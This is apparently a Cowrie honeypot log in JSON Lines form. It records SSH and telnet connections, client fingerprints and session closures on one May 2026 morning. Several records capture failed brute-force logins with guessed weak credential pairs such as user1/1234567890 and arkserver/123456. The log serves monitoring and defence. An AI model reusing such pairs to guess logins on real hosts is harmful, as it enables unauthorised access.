{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:28.178907Z","src_ip":"122.168.114.167","session":"40a8511916ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.72.73.58","src_port":50136,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b343b9538ae","protocol":"telnet","message":"New connection: 13.72.73.58:50136 (10.17.0.5:23) [session: 1b343b9538ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:29.438751Z"}
{"eventid":"cowrie.session.closed","duration":30.490360975265503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:30.370296Z","src_ip":"13.72.73.58","session":"2df8841a4c9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.126574277877808,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:31.412376Z","src_ip":"13.72.73.58","session":"f43babae8d86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"13.72.73.58","src_port":58654,"dst_ip":"10.17.0.5","dst_port":23,"session":"51c246041415","protocol":"telnet","message":"New connection: 13.72.73.58:58654 (10.17.0.5:23) [session: 51c246041415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:32.104977Z"}
{"eventid":"cowrie.session.connect","src_ip":"13.72.73.58","src_port":33624,"dst_ip":"10.17.0.5","dst_port":23,"session":"5274c340694d","protocol":"telnet","message":"New connection: 13.72.73.58:33624 (10.17.0.5:23) [session: 5274c340694d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:46.616842Z"}
{"eventid":"cowrie.session.closed","duration":30.60003685951233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:49.584560Z","src_ip":"13.72.73.58","session":"23c9dcb65b16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.935391426086426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:50.375638Z","src_ip":"199.192.22.96","session":"c7b766e2430d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.656692266464233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:54.065316Z","src_ip":"13.72.73.58","session":"af1360e0bc66","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:07:55.396236Z","src_ip":"122.168.114.167","session":"40a8511916ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.20851421356201,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:00.647178Z","src_ip":"13.72.73.58","session":"1b343b9538ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"38.8","message":"Connection lost after 38.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:01.397004Z","src_ip":"122.168.114.167","session":"40a8511916ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.604029417037964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:02.708846Z","src_ip":"13.72.73.58","session":"51c246041415","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51258,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ca654570c10","protocol":"ssh","message":"New connection: 159.203.92.129:51258 (159.203.135.109:22) [session: 8ca654570c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:04.876627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:04.881321Z","src_ip":"159.203.92.129","session":"8ca654570c10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:04.885899Z","src_ip":"159.203.92.129","session":"8ca654570c10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arks","password":"arks","message":"login attempt [arks/arks] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:04.901052Z","src_ip":"159.203.92.129","session":"8ca654570c10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.6866238117218,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:05.177556Z","src_ip":"185.26.126.47","session":"120c2b9c10ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":40744,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fba7933f9cc","protocol":"telnet","message":"New connection: 176.74.31.147:40744 (159.203.135.109:23) [session: 2fba7933f9cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:05.561392Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:05.907157Z","src_ip":"159.203.92.129","session":"8ca654570c10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":39816,"dst_ip":"159.203.135.109","dst_port":22,"session":"01fe7f4feac8","protocol":"ssh","message":"New connection: 122.168.114.167:39816 (159.203.135.109:22) [session: 01fe7f4feac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:07.612467Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":43060,"dst_ip":"159.203.135.109","dst_port":23,"session":"2862de7623d7","protocol":"telnet","message":"New connection: 176.74.31.147:43060 (159.203.135.109:23) [session: 2862de7623d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:10.771340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:11.719716Z","src_ip":"122.168.114.167","session":"01fe7f4feac8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:11.723238Z","src_ip":"122.168.114.167","session":"01fe7f4feac8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":52360,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca9e02457329","protocol":"ssh","message":"New connection: 186.80.18.158:52360 (10.17.0.5:22) [session: ca9e02457329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:13.333098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:13.337746Z","src_ip":"186.80.18.158","session":"ca9e02457329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:13.416685Z","src_ip":"186.80.18.158","session":"ca9e02457329","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234567890","message":"login attempt [user1/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:13.753354Z","src_ip":"186.80.18.158","session":"ca9e02457329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:14.832228Z","src_ip":"186.80.18.158","session":"ca9e02457329","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":46910,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b9f7d7f32dd","protocol":"telnet","message":"New connection: 176.74.31.147:46910 (159.203.135.109:23) [session: 5b9f7d7f32dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:16.738167Z"}
{"eventid":"cowrie.session.closed","duration":30.661819219589233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:17.278574Z","src_ip":"13.72.73.58","session":"5274c340694d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":49570,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7e60bfc4299","protocol":"telnet","message":"New connection: 176.74.31.147:49570 (159.203.135.109:23) [session: e7e60bfc4299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:22.036858Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":52188,"dst_ip":"159.203.135.109","dst_port":23,"session":"6209c8c9f34a","protocol":"telnet","message":"New connection: 176.74.31.147:52188 (159.203.135.109:23) [session: 6209c8c9f34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:23.954625Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":53370,"dst_ip":"159.203.135.109","dst_port":23,"session":"c129effb52b5","protocol":"telnet","message":"New connection: 176.74.31.147:53370 (159.203.135.109:23) [session: c129effb52b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:27.185888Z"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:30.417018Z","src_ip":"122.168.114.167","session":"01fe7f4feac8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.72.73.58","src_port":36030,"dst_ip":"10.17.0.5","dst_port":23,"session":"3181408b0f62","protocol":"telnet","message":"New connection: 13.72.73.58:36030 (10.17.0.5:23) [session: 3181408b0f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:31.189557Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":57396,"dst_ip":"159.203.135.109","dst_port":23,"session":"30ab1e524fd6","protocol":"telnet","message":"New connection: 176.74.31.147:57396 (159.203.135.109:23) [session: 30ab1e524fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:31.554717Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":57620,"dst_ip":"159.203.135.109","dst_port":23,"session":"d788004737af","protocol":"telnet","message":"New connection: 176.74.31.147:57620 (159.203.135.109:23) [session: d788004737af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:31.962654Z"}
{"eventid":"cowrie.session.closed","duration":"28.3","message":"Connection lost after 28.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:35.935058Z","src_ip":"122.168.114.167","session":"01fe7f4feac8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.751147031784058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:36.312447Z","src_ip":"176.74.31.147","session":"2fba7933f9cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":33264,"dst_ip":"159.203.135.109","dst_port":23,"session":"39ee983357dc","protocol":"telnet","message":"New connection: 176.74.31.147:33264 (159.203.135.109:23) [session: 39ee983357dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:37.520721Z"}
{"eventid":"cowrie.session.connect","src_ip":"13.72.73.58","src_port":36046,"dst_ip":"10.17.0.5","dst_port":23,"session":"f31793e54dd6","protocol":"telnet","message":"New connection: 13.72.73.58:36046 (10.17.0.5:23) [session: f31793e54dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:38.237940Z"}
{"eventid":"cowrie.session.closed","duration":30.5280921459198,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:41.299340Z","src_ip":"176.74.31.147","session":"2862de7623d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"13.72.73.58","src_port":35950,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcdf5bea6fc6","protocol":"telnet","message":"New connection: 13.72.73.58:35950 (10.17.0.5:23) [session: fcdf5bea6fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:41.396815Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":42218,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8153e29279e","protocol":"ssh","message":"New connection: 122.168.114.167:42218 (159.203.135.109:22) [session: d8153e29279e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:45.639626Z"}
{"eventid":"cowrie.session.closed","duration":30.648963451385498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:47.387031Z","src_ip":"176.74.31.147","session":"5b9f7d7f32dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":39540,"dst_ip":"159.203.135.109","dst_port":23,"session":"efaa24769c6f","protocol":"telnet","message":"New connection: 176.74.31.147:39540 (159.203.135.109:23) [session: efaa24769c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:47.702981Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46316,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a980fcc6d29","protocol":"ssh","message":"New connection: 159.203.92.129:46316 (159.203.135.109:22) [session: 1a980fcc6d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:48.322741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:48.327162Z","src_ip":"159.203.92.129","session":"1a980fcc6d29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:48.331551Z","src_ip":"159.203.92.129","session":"1a980fcc6d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arkserver","password":"123456","message":"login attempt [arkserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:48.342419Z","src_ip":"159.203.92.129","session":"1a980fcc6d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:49.351167Z","src_ip":"159.203.92.129","session":"1a980fcc6d29","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:50.307075Z","src_ip":"122.168.114.167","session":"d8153e29279e","protocol":"ssh"}
